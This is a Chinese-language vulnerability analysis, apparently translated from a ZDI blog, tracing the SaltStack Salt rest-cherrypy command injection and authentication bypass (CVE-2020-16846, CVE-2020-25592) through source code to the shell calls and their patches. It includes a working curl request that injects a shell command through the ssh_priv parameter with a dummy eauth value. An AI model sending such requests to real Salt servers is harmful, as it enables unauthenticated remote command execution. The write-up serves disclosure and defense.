详述SaltStack Salt 命令注入漏洞(CVE-2020-16846/25592)

 聚焦源代码安全,网罗国内外最新资讯!

编译:奇安信代码卫士团队

11月3日,SaltStack 发布 Salt 安全补丁,修复了三个严重漏洞,其中两个是为了回应起初通过 ZDI 报告的5个 bug。这些bug 可用于在运行受影响 Salt 应用的系统上实现未认证命令注入。ZDI-CAN-11143 由一名匿名研究者报告给 ZDI,而余下的 bug 是 ZDI-CAN-11143 的变体,由作者发现。作者在本文中详细查看了这些 bug 的根因。

漏洞

这些漏洞影响该应用的 rest-cherrypy netapi 模块。rest-cherrypy 模块为 Salt 提供 REST API。该模块依赖于 CherryPy Python 模块并默认未启用。为启用 rest-cherrypy 模块,主配置文件 /etc/salt/master 必须包含如下代码:

rest_cherrypy: 
  Port: 8000 
  Disable_ssl: true

在这个案例中, “/run” 端点起着重要作用,它通过 salt-ssh 子系统发布命令。Salt-ssh 子系统允许使用 Secure Shell (SSH) 执行 Salt 例程。

发送给 “/run” API 的 POST 请求将引用 salt.netapi.rest_cherrypy.app.Run 类的 POST() 方法,它将最终调用 salt.netapi.NetapiClient 的 run() 方法:

class NetapiClient(object): 
    # [... Truncated ...] 
 
    salt.exceptions.SaltInvocationError( 
               # "Invalid client specified: '{0}'".format(low.get("client")) 
                "Invalid client specified: '{0}'".format(CLIENTS) 
            ) 
 
        if not ("token" in low or "eauth" in low): 
            raise salt.exceptions.EauthAuthenticationError( 
                "No authentication credentials given" 
            ) 
 
        if low.get("raw_shell") and not self.opts.get("netapi_allow_raw_shell"): 
            raise salt.exceptions.EauthAuthenticationError( 
                "Raw shell option not allowed." 
            ) 
 
        l_fun = getattr(self, low["client"]) 
        f_call = salt.utils.args.format_call(l_fun, low) 
        return l_fun(*f_call.get("args", ()), **f_call.get("kwargs", {})) 
 
 def local_batch(self, *args, **kwargs): 
        """ 
        Run :ref:`execution modules <all-salt.modules>` against batches of minions 
 
        .. versionadded:: 0.8.4 
 
        Wraps :py:meth:`salt.client.LocalClient.cmd_batch` 
 
        :return: Returns the result from the execution module for each batch of 
            returns 
        """ 
        local = salt.client.get_local_client(mopts=self.opts) 
        return local.cmd_batch(*args, **kwargs) 
 
    def ssh(self, *args, **kwargs): 
        """ 
        Run salt-ssh commands synchronously 
 
        Wraps :py:meth:`salt.client.ssh.client.SSHClient.cmd_sync`. 
 
        :return: Returns the result from the salt-ssh command 
        """ 
        ssh_client = salt.client.ssh.client.SSHClient( 
            mopts=self.opts, disable_custom_roster=True 
        ) 
        return ssh_client.cmd_sync(kwargs)

如上所示,方法 run() 验证 client 参数的值。Client 参数的有效值为 “local”、”local_async”、”local_batch”、”local_subset”、”runner”、”runner_async”、”ssh”、”wheel” 和 “wheel_async”。验证 client 参数后,会查看该请求中是否存在 token 或 eauth 参数。有意思的是,该方法并未验证 token 或 eauth 参数的值。为此,token 或 eauth 参数的任意值可以通过该检查。检查通过后,该方法调用了依赖于 client 参数值的相应方法。

当 client 参数的值是 “ssh” 时,漏洞即被触发。在这个案例中,方法 run() 调用方法 ssh()。方法 ssh() 调用 salt.client.ssh.client.SSHClient 类的 cmd_sync() 方法同时执行 ssh-salt 命令。而该类最终导致 _prep_ssh() 方法被调用。_prep_ssh() 函数设置参数并初始化 SSH 对象。



class SSHClient(object): 
    # [... Truncated] 
 
    def _prep_ssh( 
        self, tgt, fun, arg=(), timeout=None, tgt_type="glob", kwarg=None, **kwargs 
    ): 
        """ 
        Prepare the arguments 
        """ 
        opts = copy.deepcopy(self.opts) 
        opts.update(kwargs) 
        if timeout: 
            opts["timeout"] = timeout 
        arg = salt.utils.args.condition_input(arg, kwarg) 
        opts["argv"] = [fun] + arg 
        opts["selected_target_option"] = tgt_type 
        opts["tgt"] = tgt 
        return salt.client.ssh.SSH(opts) 
 
    def cmd( 
        self, tgt, fun, arg=(), timeout=None, tgt_type="glob", kwarg=None, **kwargs 
    ): 
        ssh = self._prep_ssh(tgt, fun, arg, timeout, tgt_type, kwarg, **kwargs) #<-------------- calls ZDI-CAN-11143 
        final = {} 
        for ret in ssh.run_iter(jid=kwargs.get("jid", None)): #<------------- ZDI-CAN-11173 
            final.update(ret) 
        return final 
 
    def cmd_sync(self, low): 
        kwargs = copy.deepcopy(low) 
 
        for ignore in ["tgt", "fun", "arg", "timeout", "tgt_type", "kwarg"]: 
            if ignore in kwargs: 
                del kwargs[ignore] 
 
        return self.cmd( 
            low["tgt"], 
            low["fun"], 
            low.get("arg", []), 
            low.get("timeout"), 
            low.get("tgt_type"), 
            low.get("kwarg"), 
            **kwargs 
        )            #<------------------- calls

ZDI-CAN-11143

触发该漏洞的易受攻击请求如下:

curl -i $salt_ip_addr:8000/run -H "Content-type: application/json" -d '{"client":"ssh","tgt":"A","fun":"B","eauth":"C","ssh_priv":"|id>/tmp/test #"}'

其中,client 参数的值是 “ssh”,而易受攻击的参数是 ssh_priv。在内部,ssh_priv 参数在 SSH 对象初始化过程中使用,如下:

SSH(object): 
    """ 
    Create an SSH execution system 
    """ 
 
    ROSTER_UPDATE_FLAG = "#__needs_update" 
 
    def __init__(self, opts): 
        self.__parsed_rosters = {SSH.ROSTER_UPDATE_FLAG: True} 
        pull_sock = os.path.join(opts["sock_dir"], "master_event_pull.ipc") 
        if os.path.exists(pull_sock) and zmq: 
            self.event = salt.utils.event.get_event( 
                "master", opts["sock_dir"], opts["transport"], opts=opts, listen=False 
            ) 
        else: 
            self.event = None 
        self.opts = opts 
        if self.opts["regen_thin"]: 
            self.opts["ssh_wipe"] = True 
        if not salt.utils.path.which("ssh"): 
            raise salt.exceptions.SaltSystemExit( 
                code=-1, 
                msg="No ssh binary found in path -- ssh must be installed for salt-ssh to run. Exiting.", 
            ) 
        self.opts["_ssh_version"] = ssh_version() 
        self.tgt_type = ( 
            self.opts["selected_target_option"] 
            if self.opts["selected_target_option"] 
            else "glob" 
        ) 
        self._expand_target() 
        self.roster = salt.roster.Roster(self.opts, self.opts.get("roster", "flat")) 
        self.targets = self.roster.targets(self.opts["tgt"], self.tgt_type) 
        if not self.targets: 
            self._update_targets() 
        # If we're in a wfunc, we need to get the ssh key location from the 
        # top level opts, stored in __master_opts__ 
        if "__master_opts__" in self.opts: 
            if self.opts["__master_opts__"].get("ssh_use_home_key") and os.path.isfile( 
                os.path.expanduser("~/.ssh/id_rsa") 
            ): 
                priv = os.path.expanduser("~/.ssh/id_rsa") 
            else: 
                priv = self.opts["__master_opts__"].get( 
                    "ssh_priv", 
                    os.path.join( 
                        self.opts["__master_opts__"]["pki_dir"], "ssh", "salt-ssh.rsa" 
                    ), 
                ) 
        else: 
            priv = self.opts.get( 
                "ssh_priv", os.path.join(self.opts["pki_dir"], "ssh", "salt-ssh.rsa") 
            ) 
        if priv != "agent-forwarding": 
            if not os.path.isfile(priv): 
                try: 
                    salt.client.ssh.shell.gen_key(priv) 
                except OSError: 
                    raise salt.exceptions.SaltClientError( 
                        "salt-ssh could not be run because it could not generate keys.\n\n" 
                        "You can probably resolve this by executing this script with " 
                        "increased permissions via sudo or by running as root.\n" 
                        "You could also use the '-c' option to supply a configuration " 
                        "directory that you have permissions to read and write to." 
                    )

ssh_priv 参数的值用于 SSH 私有文件。如 ssh_priv 值所表示的文件不存在,那么会调用 /salt/client/ssh/shell.py 的gen_key() 方法以创建文件,且 ssh_priv 被当作 path 参数传递给该方法。从本质上讲,gen_key() 方法生成公共和私有 RSA 密钥对,并将其存储在由 path 参数定义的文件中。

def gen_key(path): 
    """ 
    Generate a key for use with salt-ssh 
    """ 
    cmd = 'ssh-keygen -P "" -f {0} -t rsa -q'.format(path) 
    if not os.path.isdir(os.path.dirname(path)): 
        os.makedirs(os.path.dirname(path)) 
    subprocess.call(cmd, shell=True)

如上所示方法表明,path 并未进行清理且被用于shell 命令中以创建 RSA 密钥对。如ssh_priv 包含命令注入字符,则有可能在执行subprocess.call() 方法给出的命令时执行受用户控制的命令。这就使得攻击者能够在运行 Salt 应用的系统上运行任意命令。

进一步调查 SSH 对象初始化方法可发现,多个变量被设为受用户控制的 HTTP 参数的值。之后,这些变量用作 shell 命令中的参数。这里,变量 user、port、remote_port_forwards 和 ssh_options 易受攻击,如下:

class SSH(object): 
    """ 
    Create an SSH execution system 
    """ 
 
    ROSTER_UPDATE_FLAG = "#__needs_update" 
 
    def __init__(self, opts): 
    # [...] 
 
 
 self.targets = self.roster.targets(self.opts["tgt"], self.tgt_type) 
        if not self.targets: 
            self._update_targets() 
    # [...] 
     self.defaults = { 
            "user": self.opts.get( 
                "ssh_user", salt.config.DEFAULT_MASTER_OPTS["ssh_user"] 
            ),  
            "port": self.opts.get( 
                "ssh_port", salt.config.DEFAULT_MASTER_OPTS["ssh_port"] 
            ),  # <------------- vulnerable parameter 
            "passwd": self.opts.get( 
                "ssh_passwd", salt.config.DEFAULT_MASTER_OPTS["ssh_passwd"] 
            ), 
            "priv": priv, 
            "priv_passwd": self.opts.get( 
                "ssh_priv_passwd", salt.config.DEFAULT_MASTER_OPTS["ssh_priv_passwd"] 
            ), 
            "timeout": self.opts.get( 
                "ssh_timeout", salt.config.DEFAULT_MASTER_OPTS["ssh_timeout"] 
            ) 
            + self.opts.get("timeout", salt.config.DEFAULT_MASTER_OPTS["timeout"]), 
            "sudo": self.opts.get( 
                "ssh_sudo", salt.config.DEFAULT_MASTER_OPTS["ssh_sudo"] 
            ), 
            "sudo_user": self.opts.get( 
                "ssh_sudo_user", salt.config.DEFAULT_MASTER_OPTS["ssh_sudo_user"] 
            ), 
            "identities_only": self.opts.get( 
                "ssh_identities_only", 
                salt.config.DEFAULT_MASTER_OPTS["ssh_identities_only"], 
            ), 
            "remote_port_forwards": self.opts.get("ssh_remote_port_forwards"), # <------------- vulnerable parameter 
            "ssh_options": self.opts.get("ssh_options"), # <------------- vulnerable parameter 
        } 
 
    def _update_targets(self): 
        """ 
        Update targets in case hostname was directly passed without the roster. 
        :return: 
        """ 
        hostname = self.opts.get("tgt", "")  
        if "@" in hostname: 
            user, hostname = hostname.split("@", 1) # <------------- vulnerable parameter 
        else: 
            user = self.opts.get("ssh_user") # <------------- vulnerable parameter  
        if hostname == "*": 
            hostname = "" 
 
        if salt.utils.network.is_reachable_host(hostname): 
            hostname = salt.utils.network.ip_to_host(hostname) 
            self.opts["tgt"] = hostname 
            self.targets[hostname] = { 
                "passwd": self.opts.get("ssh_passwd", ""), 
                "host": hostname, 
                "user": user, 
            } 
            if self.opts.get("ssh_update_roster"): 
                self._update_roster()

_update_targets() 方法设置变量 user,而该变量取决于值tgt 或 ssh_user。如果 HTTP 参数 tgt 的值的格式是 “username@localhost”,那么 “username” 被分配为 user 变量。否则,user 的值由 ssh_user 参数设置。port、remote_port_forwards 和 ssh_optioins 的值分别由 ssh_port、ssh_remote_port_forwards 以及 ssh_options HTTP 参数定义。

初始化该 SSH 对象时,_prep_ssh() 方法经由 handle_ssh() 生成一个子进程,从而最终执行 salt.client.ssh.shell.Shell 类的 exec_cmd() 方法。

def exec_cmd(self, cmd): 
        """ 
        Execute a remote command 
        """ 
        cmd = self._cmd_str(cmd) 
 
        logmsg = "Executing command: {0}".format(cmd) 
        if self.passwd: 
            logmsg = logmsg.replace(self.passwd, ("*" * 6)) 
        if 'decode("base64")' in logmsg or "base64.b64decode(" in logmsg: 
            log.debug("Executed SHIM command. Command logged to TRACE") 
            log.trace(logmsg) 
        else: 
            log.debug(logmsg) 
 
        ret = self._run_cmd(cmd)  # <--------------- calls 
        return ret 
 
    def _cmd_str(self, cmd, ssh="ssh"): 
        """ 
        Return the cmd string to execute 
        """ 
 
        # TODO: if tty, then our SSH_SHIM cannot be supplied from STDIN Will 
        # need to deliver the SHIM to the remote host and execute it there 
 
        command = [ssh] 
        if ssh != "scp": 
            command.append(self.host) 
        if self.tty and ssh == "ssh": 
            command.append("-t -t") 
        if self.passwd or self.priv: 
            command.append(self.priv and self._key_opts() or self._passwd_opts()) 
        if ssh != "scp" and self.remote_port_forwards: 
            command.append( 
                " ".join( 
                    [ 
                        "-R {0}".format(item) 
                        for item in self.remote_port_forwards.split(",") 
                    ] 
                ) 
            ) 
        if self.ssh_options: 
            command.append(self._ssh_opts()) 
 
        command.append(cmd) 
 
        return " ".join(command) 
 
    def _run_cmd(self, cmd, key_accept=False, passwd_retries=3): 
        # [...] 
 
        term = salt.utils.vt.Terminal( 
            cmd, 
            shell=True, 
            log_stdout=True, 
            log_stdout_level="trace", 
            log_stderr=True, 
            log_stderr_level="trace", 
            stream_stdout=False, 
            stream_stderr=False, 
        ) 
        sent_passwd = 0 
        send_password = True 
        ret_stdout = "" 
        ret_stderr = "" 
        old_stdout = "" 
 
        try: 
            while term.has_unread_data: 
                stdout, stderr = term.recv()

如上所示,exec_cmd() 首先调用 _cmd_str() 方法在未进行验证的前提下创建一个命令字符串。之后,它调用 _run_cmd(),通过直接调用系统 shell 来执行该命令。它讲注入命令字符当作 shell 元字符而非该命令的参数进行能处理。执行这种构造命令可造成任意命令注入条件。

结论

SaltStack 发布补丁修复了上述命令注入和认证绕过漏洞。为此,它们分别获得编号 CVE-2020-16846 和 CVE-2020-25592。CVE-2020-16846 的补丁通过在执行命令时禁用系统 shell 的方式解决了问题。禁用系统 shell 意味着 shell 元字符将被当作第一个命令参数的一部分对待。

CVE-2020-25592 的补丁通过增加对 eauth 和 token 参数进行验证的方式解决了该漏洞,使得仅有合法用户可以通过 rest-cherrypy netapi 模块来访问 salt-ssh 功能。这些漏洞首次均通过 ZDI 计划披露,而且非常耐人寻味。

推荐阅读

速修复!开源 IT 基础设施管理解决方案 Salt 被曝多个严重漏洞

有人利用两个SaltStack 漏洞攻击思科 VIRL-PE 基础设施

SaltStack Salt 开源管理框架修复2个严重漏洞,多款开源产品等受影响

原文链接

https://www.thezdi.com/blog/2020/11/24/detailing-saltstack-salt-command-injection-vulnerabilities

题图:Pixabay License

本文由奇安信代码卫士编译,不代表奇安信观点。转载请注明“转自奇安信代码卫士 https://codesafe.qianxin.com”。

奇安信代码卫士 (codesafe)

国内首个专注于软件开发安全的

产品线。

    觉得不错,就点个 “在看” 或 "赞” 吧~

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值